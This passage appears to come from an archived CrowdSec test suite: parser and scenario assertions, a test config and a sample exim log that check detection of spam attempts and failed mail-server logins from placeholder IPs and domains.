results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["message"] == "2022-06-29 13:54:29 H=(smtpclient.test) [1.136.28.14]:17125 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 CV=no F= rejected RCPT : SMTP AUTH is required for message submission on port 587" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["program"] == "exim" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["source_port"] == "17125" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["target_port"] == "587" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["target_user"] == "tutu@titi.com.au" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Parsed["tls_cipher"] == "TLS1.3:TLS_AES_128_GCM_SHA256:128" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["datasource_path"] == "exim-logs.log" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["source_user"] == "info@toto.com.au" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["target_port"] == "587" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["source_dns"] == "smtpclient.test" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["source_ip"] == "1.136.28.14" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["username"] == "tutu@titi.com.au" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["log_type"] == "spam-attempt" results["s01-parse"]["crowdsecurity/exim-logs"][8].Evt.Meta["service"] == "exim" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 9 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_port"] == "55379" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_ip"] == "1.2.3.5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_user"] == "abuse@test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-06-29 16:04:19" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-06-29 16:04:19 dovecot_login authenticator failed for ([1.2.3.5]) [1.2.3.4]:55379: 535 Incorrect authentication data (set_id=abuse@test.com)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "exim_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_ip"] == "1.2.3.5" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-06-29T16:04:19Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "abuse@test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-06-29T16:04:19Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "202.137.142.181" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_port"] == "47807" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["target_dns"] == "mail.test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["target_user"] == "dave" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "2022-06-29 16:04:05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022-06-29 16:04:05 dovecot_plain authenticator failed for (mail.test.com) [202.137.142.181]:47807: 535 Incorrect authentication data (set_id=dave)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "exim_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "202.137.142.181" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["target_dns"] == "mail.test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-06-29T16:04:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "dave" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-06-29T16:04:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["target_user"] == "info@test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["date"] == "2022-06-29 16:07:05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2022-06-29 16:07:05 dovecot_login authenticator failed for ppp-1-2-3-4.test.test.co.th ([127.0.0.1]) [1.2.3.4]:51451: 535 Incorrect authentication data (set_id=info@test.com)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_port"] == "51451" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["target_dns"] == "ppp-1-2-3-4.test.test.co.th" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["target_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "exim_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_dns"] == "ppp-1-2-3-4.test.test.co.th" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["target_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-06-29T16:07:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["username"] == "info@test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-06-29T16:07:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["rbl_url"] == "https://www.spamhaus.org/sbl/query/SBLCSS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["target_user"] == "toto@toto.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "2022-06-29 15:33:46 H=test.com [1.2.3.4]:53343 F= rejected RCPT : \"JunkMail rejected - test.com [1.2.3.4]:53343 is in an RBL: https://www.spamhaus.org/sbl/query/SBLCSS\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_dns"] == "test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_port"] == "53343" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_user"] == "info@test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["date"] == "2022-06-29 15:33:46" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["rbl_url"] == "https://www.spamhaus.org/sbl/query/SBLCSS" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_dns"] == "test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-06-29T15:33:46Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_user"] == "info@test.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["username"] == "toto@toto.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "spam-attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-06-29T15:33:46Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["date"] == "2022-06-29 14:34:58" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "2022-06-29 14:34:58 H=imfo.test.biz [1.2.3.4]:35328 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : No Such User Here" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_dns"] == "imfo.test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_port"] == "35328" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_user"] == "jack@test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["target_user"] == "sales@toto.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["tls_cipher"] == "TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_user"] == "jack@test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-06-29T14:34:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["username"] == "sales@toto.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_dns"] == "imfo.test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "exim_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-06-29T14:34:58Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_dns"] == "test.sa.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["source_port"] == "18146" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["acl"] == "connect" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["date"] == "2022-06-29 14:33:43" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["message"] == "2022-06-29 14:33:43 H=test.sa.com [1.2.3.4]:18146 temporarily rejected connection in \"connect\" ACL: \"Host is ratelimited (1.9/1h max:1.2)\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Parsed["rate_limit"] == "1.9/1h max:1.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["timestamp"] == "2022-06-29T14:33:43Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["log_type"] == "spam-attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_dns"] == "test.sa.com" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][5].Evt.Enriched["MarshaledTime"] == "2022-06-29T14:33:43Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_port"] == "41584" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_user"] == "toto@test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["date"] == "2022-06-29 15:47:21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["message"] == "2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 sender verify fail for : The mail server does not recognize toto@test.biz as a valid sender." results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Parsed["source_dns"] == "tata.test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_user"] == "toto@test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["timestamp"] == "2022-06-29T15:47:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["log_type"] == "spam-attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Meta["source_dns"] == "tata.test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][6].Evt.Enriched["MarshaledTime"] == "2022-06-29T15:47:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["message"] == "2022-06-29 15:47:21 H=tata.test.biz [1.2.3.4]:41584 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : Sender verify failed" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["target_user"] == "titi@alpacas.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["date"] == "2022-06-29 15:47:21" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_port"] == "41584" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_user"] == "nico@test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["tls_cipher"] == "TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Parsed["source_dns"] == "tata.test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["log_type"] == "spam-attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["username"] == "titi@alpacas.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_dns"] == "tata.test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["source_user"] == "nico@test.biz" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Meta["timestamp"] == "2022-06-29T15:47:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][7].Evt.Enriched["MarshaledTime"] == "2022-06-29T15:47:21Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_port"] == "17125" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["target_port"] == "587" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["tls_cipher"] == "TLS1.3:TLS_AES_128_GCM_SHA256:128" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["message"] == "2022-06-29 13:54:29 H=(smtpclient.test) [1.136.28.14]:17125 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 CV=no F= rejected RCPT : SMTP AUTH is required for message submission on port 587" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["program"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_dns"] == "smtpclient.test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["target_user"] == "tutu@titi.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["date"] == "2022-06-29 13:54:29" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_ip"] == "1.136.28.14" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Parsed["source_user"] == "info@toto.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_ip"] == "1.136.28.14" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["target_port"] == "587" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["timestamp"] == "2022-06-29T13:54:29Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["datasource_path"] == "exim-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["log_type"] == "spam-attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["service"] == "exim" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_dns"] == "smtpclient.test" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["source_user"] == "info@toto.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Meta["username"] == "tutu@titi.com.au" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][8].Evt.Enriched["MarshaledTime"] == "2022-06-29T13:54:29Z"hub1/.tests/exim-logs/scenario.assert000066400000000000000000000000001437532772500200740ustar00rootroot00000000000000hub1/.tests/exim-spam/000077500000000000000000000000001437532772500150545ustar00rootroot00000000000000hub1/.tests/exim-spam/config.yaml000066400000000000000000000004371437532772500172110ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/exim-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/exim-spam.yaml postoverflows: - "" log_file: exim-spam.log log_type: exim labels: {} ignore_parsers: true override_statics: [] hub1/.tests/exim-spam/exim-spam.log000066400000000000000000000024761437532772500174700ustar00rootroot000000000000002022-06-29 15:33:46 H=test.com [1.2.3.4]:53343 F= rejected RCPT : "JunkMail rejected - test.com [1.2.3.4]:53343 is in an RBL: https://www.spamhaus.org/sbl/query/SBLCSS" 2022-06-29 15:35:46 H=test.sa.com [1.2.3.4]:18146 temporarily rejected connection in "connect" ACL: "Host is ratelimited (1.9/1h max:1.2)" 2022-06-29 15:36:46 H=tata.test.biz [1.2.3.4]:41584 sender verify fail for : The mail server does not recognize toto@test.biz as a valid sender. 2022-06-29 15:37:46 H=tata.test.biz [1.2.3.4]:41584 sender verify fail for : The mail server does not recognize toto@test.biz as a valid sender. 2022-06-29 18:35:43 H=test.sa.com [1.2.3.5]:18146 temporarily rejected connection in "connect" ACL: "Host is ratelimited (1.9/1h max:1.2)" 2022-06-29 18:37:43 H=tata.test.biz [1.2.3.5]:41584 sender verify fail for : The mail server does not recognize toto@test.biz as a valid sender. 2022-06-29 18:38:43 H=tata.test.biz [1.2.3.5]:41584 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 CV=no F= rejected RCPT : Sender verify failed 2022-06-29 18:39:43 H=(smtpclient.test) [1.2.3.5]:17125 X=TLS1.3:TLS_AES_128_GCM_SHA256:128 CV=no F= rejected RCPT : SMTP AUTH is required for message submission on port 587hub1/.tests/exim-spam/parser.assert000066400000000000000000000000001437532772500175610ustar00rootroot00000000000000hub1/.tests/exim-spam/scenario.assert000066400000000000000000000134751437532772500201140ustar00rootroot00000000000000len(results) == 2 "1.2.3.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.5"].IP == "1.2.3.5" results[0].Overflow.Sources["1.2.3.5"].Range == "" results[0].Overflow.Sources["1.2.3.5"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.5"].GetValue() == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "exim-spam.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "spam-attempt" results[0].Overflow.Alert.Events[0].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[0].GetMeta("source_dns") == "test.sa.com" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-29T18:35:43Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "exim-spam.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "spam-attempt" results[0].Overflow.Alert.Events[1].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[1].GetMeta("source_dns") == "tata.test.biz" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[1].GetMeta("source_user") == "toto@test.biz" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-29T18:37:43Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "exim-spam.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "spam-attempt" results[0].Overflow.Alert.Events[2].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[2].GetMeta("source_dns") == "tata.test.biz" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[2].GetMeta("source_user") == "nico@test.biz" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-29T18:38:43Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "titi@alpacas.com.au" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "exim-spam.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "spam-attempt" results[0].Overflow.Alert.Events[3].GetMeta("service") == "exim" results[0].Overflow.Alert.Events[3].GetMeta("source_dns") == "smtpclient.test" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.5" results[0].Overflow.Alert.Events[3].GetMeta("source_user") == "info@toto.com.au" results[0].Overflow.Alert.Events[3].GetMeta("target_port") == "587" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-29T18:39:43Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "tutu@titi.com.au" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/exim-spam" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 4 "1.2.3.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[1].Overflow.Sources["1.2.3.4"].Range == "" results[1].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[1].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "exim-spam.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "spam-attempt" results[1].Overflow.Alert.Events[0].GetMeta("rbl_url") == "https://www.spamhaus.org/sbl/query/SBLCSS" results[1].Overflow.Alert.Events[0].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[0].GetMeta("source_dns") == "test.com" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[0].GetMeta("source_user") == "info@test.com" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-29T15:33:46Z" results[1].Overflow.Alert.Events[0].GetMeta("username") == "toto@toto.com" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "exim-spam.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "spam-attempt" results[1].Overflow.Alert.Events[1].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[1].GetMeta("source_dns") == "test.sa.com" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-29T15:35:46Z" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "exim-spam.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "spam-attempt" results[1].Overflow.Alert.Events[2].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[2].GetMeta("source_dns") == "tata.test.biz" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[2].GetMeta("source_user") == "toto@test.biz" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-29T15:36:46Z" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "exim-spam.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "spam-attempt" results[1].Overflow.Alert.Events[3].GetMeta("service") == "exim" results[1].Overflow.Alert.Events[3].GetMeta("source_dns") == "tata.test.biz" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[1].Overflow.Alert.Events[3].GetMeta("source_user") == "toto@test.biz" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-29T15:37:46Z" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/exim-spam" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 